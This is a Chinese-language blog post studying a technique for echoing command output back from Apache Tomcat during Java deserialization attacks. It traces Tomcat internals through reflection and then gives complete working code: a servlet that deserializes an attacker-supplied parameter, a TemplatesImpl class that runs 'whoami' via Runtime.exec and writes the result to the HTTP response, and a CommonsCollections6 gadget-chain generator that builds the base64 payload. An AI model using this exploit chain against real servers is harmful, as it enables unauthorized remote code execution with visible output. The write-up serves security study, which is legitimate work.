一种Tomcat通用回显方法的学习

前言

在利用反序列化的漏洞中,很多时候都是没有回显的,这在很大程度上限制了漏洞的危害,本文就学习一下Litch1师傅提出的一种在Tomcat下获取回显的通用方法。

大佬思路

在之前学习反序列化注入内存马的时候,也看过一篇tomcat获取回显的文章,也就是kingkk师傅的Tomcat中一种半通用回显方法。kingkk师傅的思路就是在运行过程中修改一个变量,然后就会满足某个判断条件,使resquestresponse对象被存储进ThreadLocal,然后我们就可以从ThreadLocal中取出requestresponse对象,进而获取回显。

Litch1师傅的思路跟kingkk的思路有相似的地方,Litch1师傅是忽略框架,直接在Tomcat全局寻找存储了requestresponse对象的类。

流程分析

Litch1师傅找到了Http11Processor,起一个web项目看一下调用链

image-20220313170731156

可以看到过程中是调用了Http11Processorservice方法

image-20220313171122864

可以看到,该类的requestresponse成员变量中存储了request对象和response对象。但是在定义中,并没有看到这两个属性的定义,最后发现这两个属性是在其父类AbstractProcessor中定义的

image-20220313171348916

可以看到是final类型,那么我们只要获取到这个Http11Processor的对象就可以拿到requsetresponse。看一下在哪里存储了Http11Processor的实例

image-20220313174237146

可以看到,Http11ProcessorAbstractProtocol$ConnectionHandler#process中实例化,然后作为参数传入register方法,跟进一下

image-20220313180106507

register方法中,先从processor中获取到请求信息rp,然后调用setGlobalProcessor方法将其存入AbstractProtocol$ConnectionHandlerglobal属性中。看一下global的定义

image-20220313181721390

final类型,说明rp被存进去后就不会改变了。所以我们只要获取到global就能够获取到requestresponse,也就是说我们现在要想办法获取AbstractProtocol的对象,或者他子类的对象。现在关注到CoyoteAdapter,看到其connector成员变量

image-20220313194058372

image-20220313194123902

可以看到connector中有一个与AbstractProtocol相关的字段protocolHandler AbstractProtocol就实现了该接口。并且,实现了该接口的类,且与HTTP11相关的,都继承了AbstractProtocol,让我们调试看看

image-20220313194505548

可以看到protocolHandlerHttp11NioProtocol类型的,而Http11NioProtocol继承了AbstractProtocol。所以只要获取到这个connector,也就可以获取到这个protocolHandler

image-20220313194656976

而在调试的过程中,发现connector存储在service(即StandardService)中,在之前学习servlet内存马注入的时候,就已经学习了怎么获取service,所以这里获取request和response的链为

StandardService->connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

突然发现之前获取service的方法中context是直接利用request对象获取的,尴尬了。还是看一下大师傅的获取方法

看大师傅的方法还得先了解一下Tomcat的类加载机制,Tomcat的类加载机制不是传统的双亲委派。

就比如有这样一个场景:在tomcat中由两个webapp,A依赖了common-collection 3.1,B依赖了common-collection 3.2,传统的类加载机制是利用全限定类名进行加载,这时就不能同时加载,而只能加载一个版本。所以为了解决这个问题,我们就需要实现webapp间的隔离,tomcat实现隔离的方式就是每个webapp使用一个独有的classloader实例优先处理加载,这个classloader就是WebappClassLoader

最后找到的Thread和Tomcat 运行上下文的联系之一就是WebappClassLoaderBase,链子

WebappClassLoaderBase->ApplicationContext(getResources().getContext())->StandardService->connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

image-20220314122648737

可以看到我们可以在WebappClassLoaderBase的resource中获取到StandardContext,那么获取service的代码如下

WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);

写一个完整的获取回显的demo

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.RequestGroupInfo" %>
<%@ page import="org.apache.coyote.AbstractProtocol" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.Writer" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    //获取service属性
    WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
    Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
    context.setAccessible(true);
    ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
    Field servicef=applicationContext.getClass().getDeclaredField("service");
    servicef.setAccessible(true);
    StandardService service=(StandardService) servicef.get(applicationContext);

    //获取connector
    Connector[] connectors=service.findConnectors();
    Connector connector=connectors[0];

    //获取global
    AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
    Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
    getHandler.setAccessible(true);
    Object connectionHandler=getHandler.invoke(abstractProtocol);
    Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
    RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);

    //获取request
    Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
    processorsf.setAccessible(true);
    ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
    RequestInfo requestInfo=processors.get(0);
    Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
    req.setAccessible(true);
    org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
    Request request2=(Request) request1.getNote(1);

    //获取response
    Response response1=request2.getResponse();
    Writer writer=response1.getWriter();
    writer.write("hello");
%>

image-20220314144236589

到此,我们也就成功实现了回显

研究该方法的目的很大程度上就是为了实现反序列化回显,所以这里通过反序列化试试看,使用cc6的payload

反序列化点

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Unser extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String exp= req.getParameter("exp");
        byte[] bytecode= Base64.getDecoder().decode(exp.getBytes(StandardCharsets.UTF_8));
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(bytecode));
        try {
            Object newobj=unser.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

Code.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class Code extends AbstractTranslet {
    public Code(){
        try{
            //获取service属性
            WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
            Field servicef=applicationContext.getClass().getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(applicationContext);

            //获取connector
            Connector[] connectors=service.findConnectors();
            Connector connector=connectors[0];

            //获取global
            AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
            getHandler.setAccessible(true);
            Object connectionHandler=getHandler.invoke(abstractProtocol);
            Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
            RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);

            //获取request
            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsf.setAccessible(true);
            ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
            RequestInfo requestInfo=processors.get(0);
            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
            Request request2=(Request) request1.getNote(1);

            //获取response
            Response response1=request2.getResponse();
            Writer writer=response1.getWriter();
            byte[] bytes = new byte[1024];
            InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            writer.write(new String(baos.toByteArray()));
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

ser.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class ser {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, InstantiationException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("Code");
        byte[] bytecode=cc.toBytecode();
        byte[][] bytee= new byte[][]{bytecode};

        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        Map old = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(templates),
                InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmap = LazyMap.decorate(old,chain);
        TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
        Map ht=new HashMap();
        ht.put(entry,"novic4");
        newmap.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);

        try{
            ByteArrayOutputStream ser = new ByteArrayOutputStream();
            ObjectOutputStream oser = new ObjectOutputStream(ser);
            oser.writeObject(ht);
            oser.close();

            byte[] base64code=Base64.getEncoder().encode(ser.toByteArray());
            String exp=new String(base64code);
            System.out.println(exp);
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220314221648998

参考文章

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

本文链接:

http://novic4.cn/index.php/archives/12.html
1 + 5 =
快来做第一个评论的人吧~